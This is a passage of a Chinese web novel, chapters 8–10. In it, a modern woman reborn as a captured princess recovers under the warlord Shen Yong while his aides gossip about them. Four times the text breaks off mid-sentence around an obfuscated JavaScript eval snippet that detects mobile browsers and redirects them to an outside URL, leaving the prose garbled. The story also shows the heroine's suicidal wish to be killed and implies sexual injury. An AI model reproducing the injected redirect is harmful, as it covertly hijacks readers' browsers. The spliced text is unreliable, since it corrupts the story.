终于送走了这群凶神恶煞的士兵,他在老仆的搀扶下回到肃穆幽暗的正堂,静静坐下。 不多时,一阵急促的脚步声传来,一中年男子步入正堂,面目与胡峯有些相似,正是他的长子胡越方。 “爹,妹妹的尸体没能找到。” 胡越方说着,拱手行礼后抬头看向自己的父亲。不知为何,感觉他这几日像是一下子老了十岁。 那双略微浑浊的眼睛依旧望着堂外的一小片天空一动不动,见父亲没有应声,胡越方继续说道: “皇宫已然成了一座鬼城,尸体不分贵贱、堆叠如山,沈军近日着手将其批量清理,运往京郊的乱葬岗。不如儿子多带些人,守在乱葬岗,总能将妹妹找回来!” 胡峯那双浑浊的眼忽然泛了些水光出来,缓缓转头注视自己的长子。 “去吧,我们胡家能有今日,你妹妹在宫里不知帮衬了多少,怎么也不能让兰娘落得那等死无葬身之地的下场......” 说着,他重重吐出一口浊气,“公主也不知是否可好,若是她和兰娘一同死在宫里,黄泉路上母女也算是有个伴了。可惜,被那凶神恶煞的沈雍掳了去,也不知要遭受多大的折辱......” 胡越方见老父亲这般模样,心头也很难受。 这些年虽然父亲颇有些沉迷权术,他们之间的意见也有越来越多相左的地方,但父亲还是一如往常地看重亲缘,这一点他们始终是一样的。 于是胡越方忍不住劝道: “爹莫要担心,公主国色天香之姿,沈贼掳了她去多半是看中了她的美貌,说不定她在沈贼那里活得好好的呢。” “至于妹妹,容儿子再派人去寻,定会给您一个结果。” 说罢,胡越方也不管父亲作何反应,作揖缓步退了出去。 胡峯仍坐在原处,身体的苍老让他不得不靠在座椅里,略显昏暗的正堂之中,一股腐朽之气渐渐弥漫,就像那个被颠覆的王朝一样。 他心里有些忧,楚家已抛弃他们逃掉了,胡家的未来在哪里呢? ...... 刘伯俭是沈军的军师,沈雍身边最大的智囊。 近日,他简直忙得不可开交。 清算世家得来田地,须得由他这边来归口梳理,梳理完毕后,还得推进为百姓分田地之事。 前朝越帝昏庸无能,横征暴敛,底层百姓苦不堪言,到最后几乎只能依附于各大世家,做那没有人身自由的佃农。 但沈雍意识到了这一现象带来的严重后果。佃农的户籍归属于所依附的世家豪强,而世家人才辈出,往往享有爵位隐蔽,可免于赋税徭役。 当越来越多的农民涌入世家,朝廷获得的税收就会越来越少,这也会进一步导致朝廷的瓦解。 也正因为此,沈雍攻下来的地方,无一不会重新进行土地分配,他要子民们重新获得赖以生存的土地,也要他们的产出供养他的政治集团。 收地、分地涉及的门门道道可多了,最适合交给刘伯俭这种一个心眼子当八个用的人来做。 是日,他好不容易忙完了一天的差事,双眼放空地坐在伙食营里用晚膳,想起近来愈发神龙见首不见尾的沈雍,不禁与身旁的尉迟丰闲聊。 “仲武兄啊,咱们王上最近在忙什么呢?那晚庆功宴上匆匆忙忙地走了,近几日要找他愈发地难了。” 尉迟丰想起那日被沈雍黑着脸拖进主帐的可怜公主,又联想到近日同样忙得脚不沾地的范卢风,心里早已有了猜测,但却不好直接和刘伯俭直接八卦王上的事情。 “啊,我也不知道啊,许是有什么急事在忙吧。” “这样啊...”刘伯俭低头随意扒两口饭,“不是我说,庆功宴之后,咱们的吃食味道变差了好多,你娘最近也在忙别的要紧事吗?” 卫大娘和尉迟丰的关系,在军中并不是什么秘密。 尉迟丰最初没少被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533783|186451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑话,一个大男人上战场还离不开老娘,可后来,硬是被他一场一场仗打赢下来,让军中那些“长舌妇”闭了嘴。 可刘伯俭总还是可以与他说起这些的。 尉迟丰心中憋闷,这人怎么一问一个准... 他娘,作为军中唯一的女性,当然是被派去照顾那个公主啦,不然怎么会落下伙食营的活计。 他不擅长说谎,但确实不好多说,只能含糊应道:“好像是的,子裕兄你知道,我娘要做什么事情,我可管不了的。” 看着尉迟丰眼神躲闪的样子,刘伯俭心里瞬间有了数,这厮一定知道些什么。 刘伯俭装作失望的样子,“哦,好吧。” 转头又对尉迟丰摆出一幅神秘的样子。“话说,近日啊,有一件事情在京中传遍了,不知仲武兄知道吗?” 尉迟丰果然瞬间从饭碗里将头抬起来,语气兴奋。 “什么事呀?子裕兄说来听听呗。” 嘿,他就知道,尉迟丰这人最是八卦,也最怕王上。 刘伯俭对他神秘一笑,“懿春公主容貌绝世,就连狠辣无情的王上都拜在她的石榴裙之下,如今正在酥香软怀里夜夜笙歌呢。” 尉迟丰面色一下就变了,“这些人惯爱胡说!咱们王上何曾是这样的人,子裕兄别老听这些乱七八糟的。” 刘伯俭笑容更盛,“哦?看来仲武兄清楚是怎么回事?” “唉,那公主可惨了,咱们王上...” 话才说到一半,尉迟丰硬生生把剩下的憋了回去,他差点把不住嘴在背后说王上坏话,都是刘伯俭,这人蔫坏。 他不动声色地低头扒了口饭,含糊地继续说道:“咱们王上的心思,谁知道呢,不过他老人家这么多年都没有姬妾,也许这次终于开窍了吧。” “这样啊。” 刘伯俭笑眯眯地看着猛然加快进食速度的尉迟丰,没有继续追问。 心里却有些乐呵,也许接下来能有王上的好戏看了。 为人君者,就该这样产出些轶事供大家解解乏嘛。 他按捺下心中的好奇,偏头问尉迟丰,“你说我一早去主帐找王上,能见到他吗?” 尉迟丰嚼嚼嚼,快速咽下食物,“什么事这么着急啊?” 刘伯俭微笑着摊摊手,“其实也不是什么大事。” 说罢,也不管尉迟丰作何表情,卖着关子端碗离开了。 “啧,这人还是忒不厚道!”尉迟丰骂骂咧咧目送他离开。 ...... 刘伯俭心心念念的王上沈雍,此刻仍逮着范卢风一个人薅。 “怎么,上次问你之事可有眉目?” 范卢风一个头两个大,这几日为了完成五日内让公主能下地的命令,他可是夙兴夜寐、费尽功夫,如今这个人又来给他出难题! “唉,上次就说了,未诊出她大脑有受损的迹象,我也不知什么原因让她记忆受损、性情大变,也许是遭逢巨变?” 范卢风在自己的桌案前忙碌着,叹了口气望向堵在他帐中的这位大佛。 “不是我说啊,你以前和她很熟吗?你知道她是何性情、又该记得哪些东西?” 沈雍抱臂而立,面色一紧。 是啊,他与她不过匆匆两面罢了,他了解她吗?她就该记得沈雍是当年镇国公府的世子、还因为她的一份上书落得家破人亡的结局吗? 心里莫名有些刺痛,沈雍沉默半晌,终是一言不发地走了。 范卢风看着他明显比来时更加落寞的背影,没忍住边叹气边摇头。 8. 康复 第二日一早,刘伯俭来主帐堵沈雍,破天荒地被守卫拦在了外面。 “这是何意?以往就算要等候王上,也是可以进入这一片营帐的啊。” 两个守卫都认识他,闻言只好出言解释。 “还请军师见谅,此处近来皆是如此。” 为了保证安全,军营中最大的帐篷并非主帅独享,而是专用于议事、宴饮。不久前那场庆功宴便在此处,而平日里若是想找沈雍,大部分时候也能在这里找到他。 属于主帅的住所,落座在偏北的一处平常角落。 几个与普通士兵住所类似的小帐扎在那处,形成沈雍的专属区域,每个账内陈设类似,都设有睡觉的地方。而重要的东西,只有沈雍自己知道放在何处。 平日里,这一片区域都有士兵轮流把守,此时刘伯俭遇见的便是。 不像往常一样允许外男直接进入,不用守卫们解释他也能猜到原因。 那位越朝的懿春公主,想必是被王上直接安排在自己的住处了。 啧,当真是荣宠万千,非同寻常啊。 而在刘伯俭眼中被宠上天的柳忆春,此时正皱着眉头被逼着喝药。 左边是范卢风,右边是卫大娘,二人皆眼含热切地看着她喝药,巴不得她下一秒立刻痊愈。 柳忆春的确感觉自己好了不少。 不知为何,这几日她大部分时间都在昏睡,也明显感觉到身体的机能在迅速恢复。 倒是沈雍一直没露面。 她还以为上次挑衅他之后,那些“让她生不如死的折磨”便会随之而来。 但这几日明显比之前更上心的照顾,又是全心全意给她疗伤的样子。 啧,看来他比她想象中在意自己。 见柳忆春乖乖喝下药,范卢风心里乐开了花。 他就没见过这么听话的病患,不管喝多苦的药从不皱一下眉头——如果没有求死前科的话。 得益于良好的休息和精细的照顾,五日内让这位公主恢复到能下榻的任务,眼看着今天就能完成了! 其实柳忆春近来昏睡时间多其实并非偶然,范卢风专门在药方里加了不少安神的药材。 一来,多睡觉有利于她身体恢复;二来,杜绝她半夜醒来后想不开寻死的可能,也算是解救了负责照顾她的卫大娘。 范卢风笑眯眯地接过柳忆春喝完的药碗。 “柳夫人,今日感觉如何?” 柳忆春看着眼前的人,她对他的声音有印象,是那晚来诊治她的医师。 但他似乎只负责开药方,那晚之后,她再也没见过他,也不知今日为何突然态度殷切地出现在这里。 她对他微微一笑,“好多了,今日范医师来可是有事?” 但柳忆春不知道的是,她觉得这是他们第二次见面,然而范卢风却已在她神志不清的时候见过她不知道多少次了。 范卢风神色自然地搭话,“来复诊而已。闷在屋里那么久,这么好的春日,可想出去瞧瞧?” 卫大娘也适时插话,“对呀,外面花花草草都长起来了,瞧着呀,心情舒畅极了!” 又是两双期盼的眼睛盯着她。 宫墙夹道间夕阳斜照粉樱的画面在她脑海里一闪而过,柳忆春却沉默着没有应答。 一种深深的疲惫感依然笼罩在她身上,挥之不去。 像一个连备用电量都被耗得干干净净的手机,躺了这么多天,也只够让她这块黑屏手机勉强显示出充电进度1%而已。 她没有想法、也没有精力做任何事情。 柳忆春朝二人轻轻摇头,声音低哑,“我想继续休息。” 几日过去,她的伤口处颜色已慢慢加深,是在结痂了,晚间也不会再起高热,连带着唇色都红润了一些,不再苍白如纸,开始有了浅浅的粉红。 可她周身那股浓郁的颓靡之气,久久不散。 众人都看在眼里。 范卢风不好与她多嘴,卫大娘连日以来也没能撬出一星半点缘由。 二人对视一眼,又有些忧。 “那您再歇歇吧,有任何事情随时叫我啊。” 最终,卫大娘用着一贯的爽朗语气终结了话题,又熟练地扶她躺下。 范卢风瞧着,没一会儿就退了出去。 果然,一个颀长身影立在不远处。 是沈雍。 一道颇具压迫性的目光投来,范卢风叹了口气,为自己辩解。 “我早把她医到能下地了,她自己不愿意下,可怪不了我!” 沈雍不置可否。 见他不说话,范卢风又开始叨叨,“我说你啊,每天都守在外面,怎么就不进去呢?深情人设这就装起来啦?” 再向沈雍看去,发现他已皱着眉将目光落到他身后的帐子上。 范卢风叹了口气,背着药箱就要走。 “算了算了,我管不了你们这些复杂的事情,沈怀聿你记住了啊,明日!卯时!不准再拉我起床!” 说罢,范卢风也不顾沈雍的反应,快步离开了。 柳忆春脑子昏昏沉沉的,但也睡不着了,就这么躺在榻上瞧着帷幔发呆。 不一会儿,她听到了一阵沉稳的脚步声。 不属于麻利的卫大娘,也不属于跳脱的范卢风。 “去将西南角的那顶帐篷收拾出来。”是沈雍的声音。 “是。”卫大娘应声离开。 帐内复又只剩他们二人。 她还以为他不会再理她了,没想到他居然还上赶着往她面前凑。 一个大男人,这样婆婆妈妈的,可就没劲了。 卫大娘离开后,帐内一片沉寂。 柳忆春感觉到一股存在感极强的视线落在她身上,可她完全不想理会。 半响,极轻的衣摆摩挲声响起,沈雍停在了她的榻边。 那道视线的存在感变得更强。 “不是醒着?” 柳忆春没有吱声。 静默片刻,随即一阵天旋地转——她被抱入了一个干净有力的怀里。 突如其来的动作,柳忆春反应不及,心脏瞬间狂跳。而她浑身软绵绵地没有力气,只能轻靠在他肩头,连反抗的动作都做不出。 与软塌塌的她不同,他的臂膀坚实有力,柳忆春感觉自己像是一团被紧紧圈住的烂肉。 然而这人似乎从来不懂什么叫做温柔。 下一秒,他不由分地直接将她落到地上,“轻拿轻放”知不知道啊! 柳忆春尚且虚弱,甫一落地便要往前跌去。 如能未卜先知一般,一只有力的大掌抓住她的右手臂,她终于不至于腿软得跌倒在地。 温热的触感隔着薄薄的衣物传来,柳忆春的大半重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533784|186451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量都倚在这只手上。 “起身走走。” 不容置喙的声音从头顶传来,柳忆春的心情很不好,忍不住和他呛声。 “你凭什么管我?” 重伤初愈,她的声音软绵绵的,话却刺人得很。 沈雍不是个锱铢必较的人,并不理会她不悦的质问,见她站稳,不由分地拿过架子上的衣物向她走来。 他从未帮别人穿过衣服,更别说女人,但衣服总是大差不差的,他抬起手臂,将面前略显小巧的衣物来回翻转两圈,便非常自然地往她身上套。 柳忆春很不高兴,连带着脸也很臭。 躺了那么多天,她都快忘记路怎么走了,而且身上各处的伤口还痛着,突然被人薅起来要让她走走,她只觉得对方是个神经病。 倒是沈雍,看她这幅气得冒烟却不得不配合他穿衣的样子,心情畅快不少。 又见她果然已能靠自己在地上站稳,他大发慈悲地决定明早如范卢风所愿不去吵他。 他轻轻握住她细瘦的手臂,抬起,让衣袖穿过,又为她整理衣领,最后微微俯身为她系好腰带。 真细。 弱柳扶风,说的便是这样的她。 柳忆春见他帮自己穿衣服的样子,一阵头皮发麻。 得有二十多年了吧,除了小时候,她应该从来没有被人这么伺候过。 看不出这傻大个有这种不为人知的癖好,拿她当芭比娃娃玩? 如果还在现代,她不介意花点钱买一个打发他,只求别来打扰她。 可惜现在她只能当一个大号芭比娃娃随他摆弄。 柳忆春有些泄气地抬头看他,只见这张惯常透着上位者冷漠的脸此时眉头微皱,脸色一如既往地臭。 既然他也这么不情愿,为什么还要来折腾她? 她恨恨地别开眼,用力往他身上砸下一个拳头。 然而结果如她所料,他仍站在很近的地方岿然不动。她使尽浑身力气的一拳如隔空挥在了水面上,连半分波澜都未曾掀起。 沈雍在她看不见的地方,绷直的唇角微勾一下,长指在她下颌一挑,她气得冒火的脸便被迫抬起来,而他语带嘲讽。 “我允许你先恢复力气再来报复我。” 说罢,也不管她究竟是何反应,沈雍沉缓却不容拒绝地拉着她的右臂往外走去。 柳忆春被他拉得踉跄,伤口被扯得生疼,气得她连忙去掐他握住自己右臂的手掌。 可左腕上仍缠着绷带,结果依然可想而知,这般力气必然也是没有什么用处的。 几步走出营帐,身侧压抑的抽气声越来越明显,沈雍终于发现了不对劲。 他回头一望,只见她佝偻着腰,步履蹒跚,面色痛苦。 嗯?他不是放慢了脚步吗? 沈雍停下,柳忆春却早已被身下伤口撕扯的痛袭击得站不稳,直直往他怀里跌。 药香与馨香满怀。 看着怀中微蜷身子、身量只到他肩膀处的女子,沈雍皱了皱眉。 是了,太久没有与女子同处,他竟忘了女子身量与男子不同。也忘了,她某处的伤口非常影响行走。 沈雍轻叹一口气,俯身一把将怀中香软横抱起来。 却在将要回身走进营帐之时,与不远处刘伯俭震惊的双目直直对视。 这这这,是他们的王上? 9. 呛声 沈雍没管他,淡淡收回目光后,先将柳忆春送回了帐中的榻上。 她身子爽利些的时候还会同他撒气,此时疼得厉害却只是自顾自捏紧小手闭目喘息。 沈雍的心里涌上一股奇怪的感觉,这个金尊玉贵的公主,对于痛苦的忍耐限度总是超出他的想象。 见她躺回榻上仍微蜷着身子,他决定再看看她的伤处。 一阵窸窸窣窣的声响,他一言不发地盖回她的衣裙,柳忆春也终于将气喘匀,几乎是用气声骂他。 “......你是不是有毛病?” 这个人总是很矛盾,看不出究竟想让她生还是死,也看不出究竟想让她痛苦还是舒心。 明明她躺得好好的,偏要拉她去走走,他方才的举动的确伤到了她,又在她以为他要折磨她时将她抱了回来。 真是很奇怪一傻大个,除了长得好看一无是处,做的事情全都让她烦。 沈雍随意瞥她一眼,“显然现在有毛病的人是你。” 柳忆春没忍住翻了他一个白眼。 不知为何,她在他面前总是能很自然地袒露那些从来不该在乖乖女身上出现的负面情绪。 也许是因为魂穿异世,这个世界再没有什么东西能束缚她,也许是因为她明明打算好了安静地消失在这个世界上,他却偏偏要把她拽回来。 总之,柳忆春对这个总是和她对着干的人态度极其恶劣。 谁让他不杀她?这都是他应该受的! 沈雍不知她心中所想,丢下一句好好休息后便走了出去。 行至这片营帐的出口,恰巧见卫大娘收拾好帐子往主帐的方向走。 “去打些清水来,为她再上一次药。” 卫大娘见他神色冷淡地吩咐一句便走,也不敢问柳忆春怎么了,行礼应了声便依言去行动。 回到帐子,见到柳忆春蜷着身子、虚捂着肚子的模样,卫大娘瞬间反应过来是要给哪上药。 不是吧? 他们王上怎么这般不懂节制!眼看着柳夫人终于好了一些,又对她下这种毒手! 同为女人,卫大娘心里愤愤,看向柳忆春的目光不由得带上了深深的怜惜。 柳忆春虽喘匀了气,小脸却依然白着,见她这幅快要落泪的样子,不由得开口唤她。 “卫大娘......” 她不开口还好,一开口,沙哑痛苦的声音搭配着乖巧苍白的面庞,卫大娘心里更痛了几分。 她曾经可是被千娇万宠的公主啊...... 男人家的打打杀杀,为何偏要女子来承担这可怕的后果呢? 要是她的女儿被人这么对待,她就算从地底下爬出来也不能放了他! 柳忆春仍睁着一双无辜的眼睛看着她,卫大娘不愿自己的情绪再勾起小公主的伤心,连忙敛住了将要垂泪的表情。 “柳夫人,我再帮你上一次药啊。” ...... 刘伯俭怎么也想不到,自己苦苦等了一上午的结果,是看到那样一幅画面。 他那不苟言笑、心狠手辣、自他认识起从不允许女子近身的王上,居然会动作轻柔地抱起怀中那娇弱女郎。 对视的那刹,他简直头皮发麻、浑身战栗,恨不得立刻消失在原地才好。 可王上依旧没什么表情,淡淡瞥他一眼就回去了。 他是该继续等呢,还是该识相一点下次再来呢? 唉,他堂堂军师,向来都是王上最看重的人,多少要事不是他们一起合计出来的,居然有一天也会沦落到这种地步...... 正当他立在原地,去留难定时,沈雍出来了。 “军师找我可是有事?”面色如常。 刘伯俭也很快收起了多余的情绪,躬身向他行以一礼。 “回王上,是楚家的事。” 沈雍朝他颔首,率先往大帐方向走去。 春日清晨的阳光随他们一同步入帐内,二人相对而坐。 刘伯俭适时开口:“这些日子我们将世家搜刮了个遍,楚家则按您的吩咐直接抄家。不过,等我们的人去时,楚家已几乎人去楼空,只有几个粗使下人还待在那府里,就连女眷都已离开。” 沈雍面色沉了些,刘伯俭继续说道:“想来,他们是早得了消息,携带细软先逃了。” “至于他们逃往何处,属下派出的人昨日传回消息,应是往齐地去了。” 气氛有片刻沉滞。 刘伯俭是后来才与沈雍一同谋事的,对他的过往并不十分清楚,但能看出来自家王上和楚家所结的仇绝不会浅就是。 毕竟,王上仁心施政,上到官宦士族,下到黎民百姓,都有一套宽和的处置之法,唯独这个楚家,王上对他下密令直接抄家,人也都要捉回来由他处置。 真真是独一份。 可惜,楚家竟也留有后手,悄无声息地率先逃亡,只留了个偌大的空壳给他们。 刘伯俭小心翼翼地去瞧沈雍的面色,却见他不似他想象中那般生气。 也是,若是沉不住气,也当不了这王上了。 “无妨。” 沈雍侧脸望向透入帐内的春光,“我们早晚会荡平齐地。” 刘伯俭见他气定神闲地说出如此狂妄之语,并不觉有什么不对。王上想要的,总是能做到。 五年来,王上先是控制了洛都,后又暗中收服晋地旧部势力,直接将越朝腹地一带的领土全部控制在手中。 此后,自晋地起兵,向东行军直捣京师。 如今,京师已收入囊中,前朝皇室被颠覆,天下大半领土皆由王上掌控。 虽说齐王阵营是剩余势力中最强势的一支,但待到王上料理好后方,未必不能将其一举攻下。 刘伯俭眼含真挚的希望,“王上天命所归。” 沈雍回过头,淡淡看他一眼,“嗯,等到土地分配的事情告一段落,就开始着手百官南下之事吧。” 刘伯俭起身行礼,“属下遵命。” 心里却有些叫苦,看来忙碌的日子是停不下来喽。 先前此令虽已定下,却还未昭告出去,真正实施起来,可真免不了要费一番功夫。 “没什么事情就下去吧。” 刘伯俭心里苦,面上却分毫不显,依旧是一副笑眯眯的模样,“属下告退,不打扰您的雅兴了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533785|186451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “雅兴”二字愣是被他说得千回百转,想不注意都难。 说罢,他也不敢看沈雍,顶着身后鹰隼一般的视线,兔子似的溜出了大帐。 嘿嘿,相处这么多年,他自诩对王上的脾性有一定了解,如这般的打趣,王上是不会计较的。 但对他来说嘛,拔了老虎的胡须还成功跑掉,可是能让他积攒不少面对如山公文的好心情。 沈雍收回目光,不自觉顺着他的话想起柳忆春来。 那晚将她拉进的,是他平日里最常休息的那个帐子。 既然她已恢复得不必再终日卧床了,那将主帐片区西南角的那顶帐篷腾给她住,再适合不过。 可惜,今日本想让她重新适应一下行走的感觉,最好让她活动活动身子自己走去新帐篷,没想到,反而让她的伤雪上加霜了。 沈雍想着,不知不觉走回了主帐。 ...... 柳忆春由卫大娘服侍着重新上了次药,痛觉消退一些后,便再次陷入睡梦之中。 毕竟,沈雍心血来潮拉她起来走走,那几步也着实消耗了她不少体力。 她还是太虚了。 沈雍步入主帐时,瞧见的便是这幅睡美人的画面。 她的眉头还微蹙着,似在不满身上绵延不断的痛楚,长睫卷翘,日光透进来,轻轻在她眼侧洒下一小片阴影。 倒是面色比之昨日又看起来好了一些。 这几日,她沉睡的时间多,他不曾出现在她面前,却在她陷入无知无觉的昏睡时来瞧过她不少次。 这张精致的雪白小脸,竟也就这么纤毫毕现地刻在了他的脑子里。清晰到,他连她藏在鬓角之下的一颗小痣都记得清清楚楚。 他已派人去寻找曾经伺候她的宫人,记忆丢失?性情大变? ——总会有一个结果。 沈雍收回目光,小声向一侧的卫大娘询问,“西南角的帐子可收拾出来了?” 卫大娘躬身行礼,声音也放得很低,“回王上,收拾妥当了。” “嗯,先将她的东西搬过去。” “是。” 柳忆春的东西并不多,不过几套衣服、几瓶药膏。卫大娘一向手脚麻利,很快便收拾完毕,悄声退了出去。 沈雍的目光却依然落在柳忆春身上。 这个公主,瞧起来绵软无害,却又像个小刺猬,总是扎得他猝不及防。 多年前,他与公主匆匆两面,她给人的感觉是那样的冷淡矜贵、不食人间烟火。他完全无法想象,那样一个仙子般的深宫佳人,会像个小辣椒似的与人呛声。 再有,她身上阴沉的腐朽之气又分明不作伪。 ——到底哪个是真正的她? 不过,生气起来的她看起来才像个鲜活的、真正的人,他不喜欢她那幅冷淡的、死气沉沉的样子。 既然如此,多来惹她生生气,也算有趣。 想着,沈雍面色舒展了些,唇角勾起一抹柔和的幅度。 高大英挺的男人俯下身去,伸手将榻上双目轻阖的苍白美人连同被子一起打横抱了起来。 真轻,像一朵柔软的云。 10. 驸马 柳忆春对搬了帐篷这件事完全没有感觉。 她依然长时间地躺在床上睡觉,像是要把过去缺失的睡眠通通补回来。 说起来,她也不知道为什么非要把一天的时间塞那么满,她二十四年来的人生好像根本就没有停下来过。 小时候,放学后大家都会结伴玩,但她永远被关在家里“做功课”。 有什么好做的呢?小学生的作业很少,半个小时就能全部搞定。 但她爸妈不,他们会从亲戚手里淘来没用完的课辅和高年级的课本,他们深信笨鸟先飞,只要让她足够刻苦、足够努力,未来的学业一定可以起飞。 所以,她大部分时间都在他们的督促下,坐在窄窄的饭桌前,埋头“做功课”。 没错,家里只有一张高度适宜的桌子,身兼饭桌、书桌、牌桌等诸多功能。那间家人留给她的最好的房间,其实连容纳一张书桌的空间都没有。 开饭前,妈妈在这张桌上摘菜,不多时,这张桌上就会摆上不算丰盛的饭菜,饭菜进肚后,这里便会摆上厚厚一摞书,彻底成为柳忆春的“战场”。 身边破旧电视机的声音很吵,窗外小朋友们的欢笑声也很吸引人,可她,只能坐在桌前“做功课”。 直到父母休息。 初中,从他们哪一届开始有50分的体育考试,偏偏她从小总被拘在家里,体育奇差无比。 她爸妈意识到了自己教育的失策,便开始在督促她做完作业后去外面跑步、练立定跳远,他们亲自监督—— 50分,一分不能丢。 高中就更不必说了,没人能睡够的。 大学时,在父母的强烈建议下她报了个热门专业。 前两年,面对的是无数的小组作业、专业课,为了综测好看还要抽时间搞竞赛。 后两年,热门专业突然衰落,裁员风声大涨,就业危机从在职人士卷到了尚未“出笼”的学生,她也只能加入卷生卷死的实习战斗。 好在,最后的结果是令大家满意的,她成功进了一家还不错的大厂。 然而,高薪资是假的,无休止的加班才是真的。 柳忆春时常幻想,如果她在现实世界也能给自己开辟个洞府进去“闭关”就好了。 她闭关的话,啥也不干,就睡觉。 等她睡饱了,也许就“进阶”了...... 几日过去,柳忆春身上的伤已经好了不少,先前细密的疼痛褪去,取而代之的是若有似无的痒。 她很有经验,这时候不能手贱去挠,一不小心结痂的过程就得再经历一遍。 卫大娘也时常感叹,公主真是她见过最乖巧、最遵医嘱、也最不闹腾的姑娘了。 春日清晨的阳光斜斜透入帐篷,空气中有细小的飞尘旋舞。 柳忆春在一阵利落的脚步声中睁开双眼,比脑子先一步醒来的是她的鼻子。 好香。 卫大娘端着早膳掀帘而入,“柳夫人,起来吃早点啦。” 柳忆春撑坐起来,对她露出乖巧的笑容,“辛苦您了。” “嗐,夫人这是说的什么话,我应该的!” 卫大娘是个闲不下来的人,将吃食放在桌案上后,便上前帮柳忆春穿衣。而后又端了盆水进来,洗漱用的巾帕、柳枝、漱口盐一件件帮柳忆春摆好,这才退到一边去。 柳忆春时常看着她凌波微步般的步伐目瞪口呆,仿佛施了魔法,屋子内的东西一瞬间就都到了各自该在的位置上。 拿着柳枝漱口,她心中微叹,这地方她虽然不知道属于啥朝代,但好像也不像她想象中那样落后,至少基本的生活用品都是够的。 而且,她昨晚试探着摸了摸身下被缝住的地方,也没有像她看的那篇文章一样全部缝起来,大概两边各缝了一两针的样子,想来是为了促进她的撕裂伤快速愈合。 只是可惜,这里的衣服还是过于复杂,她总是搞不清楚哪块布应该缠在身上哪个位置,所以还得靠卫大娘帮她。 真是越活越回去了。 空气中仍飘散着食物的香气。 卫大娘端来的吃食很简单,一点青菜,一个鸡蛋,还有一碗不知什么粗粮熬成的粥。 也许,这个朝代还没有精米精面的加工技术,也可能是在军中一切从简了。 但是柳忆春很满足。 能吃到新鲜出炉的、纯天然的食物,已经是一件很幸福的事情了! 天知道她过去两年工作没时间做饭吃了多少预制菜、假肉、假鸡蛋。 有时她觉得很讽刺,如果是个机器人,恐怕喝了劣等机油都会罢工,但偏偏一个活生生的人,天天吃一些没有营养的、不新鲜的预制菜,还能每天按时上班完成工作。 哈哈,从这一点来说,她觉得机器人永远不能取代人类。 柳忆春一边吃着,一边神游天外,完全没注意到桌案边站了一个人。 沈雍静静地看她进食。 明明只是些最普通的食物,向来锦衣玉食的公主竟吃得这般认真,他甚至从她的神情中看出了一丝...虔诚? 她的脸颊恢复了不少血色,暖阳打在她细小的绒毛上,为她这张艳冠天下的脸镶了一层金边,瞧着竟有一丝若有若无的神性。 不过他没想到的是,她居然也会这般主动进食。 他还以为,那日她如此决绝地寻死,被救回来后又那般生气,必然还得再折腾两番才算消停。 果然,求生是人的本能。 柳忆春沉迷于吃饭无法自拔,待到盘子都见底后才抬头呼唤卫大娘。 倒是没想到,就这么直直地撞进了沈雍专注的目光之中。 他背着光,身上穿着深色常服,只能看见一个高大的轮廓,但那双深邃的眼却在满室晨光的映照中,显得更加黑亮,像两汪深潭,仿佛要将人吸进去。 柳忆春面不改色,细白的面颊在阳光下耀眼无比,宝石般的浅茶色眼眸却盛满了不耐烦——有事吗? 她没有忘记他说恨她,要折磨得她生不如死。 说实话,她那晚自己寻死费了好大的力气,还失败了,被救回后,这些日子她实在没有力气再去死一次。 毕竟,被看得这么严的情况下,还绞尽脑汁去死,怎么不算个力气活呢? 她一点力气也无。 总之,最理想的还是死在别人手里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533786|186451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,干脆利落,不用她自己费事。 如今,她的身体刚刚好了些,他就又出现了,柳忆春觉得应该是下一轮折磨要开始了。 她在心里盘算着,这次得找准时机,在适当的时候推自己一把,免得又让他给自己留一线生机。 一直这样循环往复的话,真的很烦。 沈雍望着她古井无波的双眼,缓步无言走近。 二人视线缠绕,一直没有分开。 柳忆春就这么眼睁睁地看着他走来,然后又眼睁睁地看着自己被他一把拉起。 他的力气很大,她的胳膊被箍得生疼,但她没有出声也没有反抗。 倒是他的步子比上次放慢了不少,柳忆春跟上他也不费力。 卫大娘目送二人离开,一边收拾碗筷一边摇头感叹。 